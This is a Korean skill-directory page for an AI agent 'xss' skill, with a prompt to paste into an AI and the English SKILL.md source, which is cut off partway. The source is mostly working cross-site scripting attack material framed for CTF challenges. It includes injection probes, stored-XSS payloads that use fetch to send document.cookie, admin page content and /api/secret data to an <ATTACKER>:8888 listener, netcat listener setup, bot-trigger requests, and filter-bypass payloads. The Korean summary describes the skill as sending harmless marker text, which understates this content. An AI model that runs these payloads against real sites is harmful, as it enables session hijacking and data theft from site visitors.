본문으로 건너뛰기
Skillpedia
보안6.5k · #14088

xss

하는 일

이 가이드는 앱이 신뢰할 수 없는 코드를 방문자 브라우저에서 실행하는 크로스 사이트 스크립팅 결함을 다룹니다. 입력과 출력이 어떻게 정리되는지 확인하는 개발자와 보안 테스터를 위한 것입니다.

사용하는 경우

  • ✓허가된 테스트에서 입력이 페이지에 그대로 나타나는 것을 발견했을 때.
  • ✓검색, 댓글, 프로필 필드의 사용자 내용이 다른 방문자 화면에 보일 때.
  • ✓팀이 콘텐츠 보안 정책을 스크립트 주입에 대해 점검하려는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 검색 페이지가 사용자가 입력한 내용을 정리하지 않고 보여 주는 것 같습니다. 이것이 크로스 사이트 스크립팅 위험인지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 해롭지 않은 표식 텍스트를 보내 이스케이프되지 않은 채 페이지에 나타나는지 확인하고, 올바른 인코딩이나 더 엄격한 콘텐츠 정책이 필요한 위치를 보고합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Cross-Site Scripting (XSS) Exploitation

Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context.

Win Condition — Identify FIRST

Pattern A — Bot/Cookie Chain (classic CTF):

  • A headless browser bot visits a URL you supply via /report or /contact
  • Goal: exfiltrate document.cookie or admin page content to your listener
  • Signals: /report endpoint exists, challenge mentions "admin visits", cookie in session

Pattern B — Server-Side Alert Trigger (Cross 30/31/32 series):

  • NO bot, NO cookie exfiltration, NO /report endpoint (returns 404)
  • The challenge evaluates reflected JS server-side; alert("XSS") or alert(1) in the response = flag
  • Flag appears directly in the HTTP response body when alert triggers
  • Signals: challenge name contains "Cross", filter says "Sorry, you can't use that tag", new_umbrella / error_umbrella in response, alphanumeric filter active
  • Do NOT: start listeners, look for /report, try document.cookie (setter is frozen — TypeError)

Quick check which pattern:

curl -s "$TARGET/report" -o /dev/null -w "%{http_code}"  # 404 = Pattern B (Cross)
curl -s "$TARGET/" | grep -i "report\|bot\|admin"        # Pattern A signals

Detection

# Reflected XSS probe — check if input is reflected unescaped
curl -s 'http://<TARGET>/search?q=<script>alert(1)</script>' | grep -i '<script>alert(1)'

# Check for reflection in different contexts
curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test'        # attribute context
curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test"    # JS string context

# Test attribute injection
curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover'

# Test common input fields via POST
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>'
curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test'

Stored XSS with Bot Exfiltration (CTF Pattern)

The standard CTF XSS workflow:

  1. Find a stored input (comments, profiles, messages)
  2. Inject a payload that exfiltrates data when the admin bot views it
  3. Trigger the bot (usually a /report endpoint)
  4. Receive exfiltrated flag on your listener
# 1. Start a listener to receive exfiltrated data
python3 -m http.server 8888 &
# Or use netcat:
nc -lvnp 8888 &

# 2. Inject stored XSS that exfiltrates cookies
# Basic cookie steal
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'

# Image tag (bypasses many filters that block <script>)
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'

# SVG-based
curl -s 'http://<TARGET>/comment' -d 'body=<svg onload="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'

# Fetch admin page content and exfiltrate
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/admin").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?d="+btoa(t)))</script>'

# Fetch sensitive endpoint directly (adjust path to observed app structure)
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/api/secret").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?f="+btoa(t)))</script>'

# 3. Trigger the bot to visit the page with injected XSS
curl -s 'http://<TARGET>/report' -d 'url=http://<TARGET>/page-with-stored-xss'
curl -s 'http://<TARGET>/report' -d 'url=/page-with-stored-xss'

# 4. Check listener output — decode base64 if used
echo '<base64_response>' | base64 -d

Reflected XSS Flag Extraction

# If the flag is in the admin's cookie and there's a report/visit endpoint:
# Craft URL with reflected XSS that steals cookies
PAYLOAD='<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
curl -s "http://<TARGET>/report" -d "url=http://<TARGET>/search?q=$ENCODED"

Filter Bypass Techniques

# Case variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>

# No parentheses
<img src=x onerror="alert`1`">
<img src=x onerror="window['alert'](1)">

# No quotes / no spaces
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>

# HTML entity encoding bypass
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">

# JavaScript URL scheme
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">

# Event handlers (bypass <script> tag bloc
자주 묻는 질문

세 가지 유형은 무엇인가요?

가이드는 반사형, 저장형, DOM 기반 크로스 사이트 스크립팅을 다룹니다.

콘텐츠 보안 정책이란 무엇인가요?

페이지가 실행할 수 있는 스크립트를 제한하는 브라우저 설정이며, 가이드는 이를 방어 수단으로 언급합니다.

발견 사항은 어떻게 확인하나요?

테스트 텍스트가 인코딩되어야 할 페이지에서 이스케이프되지 않은 채 나타난다는 것을 보여 주어 확인합니다.

상세 정보

작성자의 원본 설명

Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14088
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬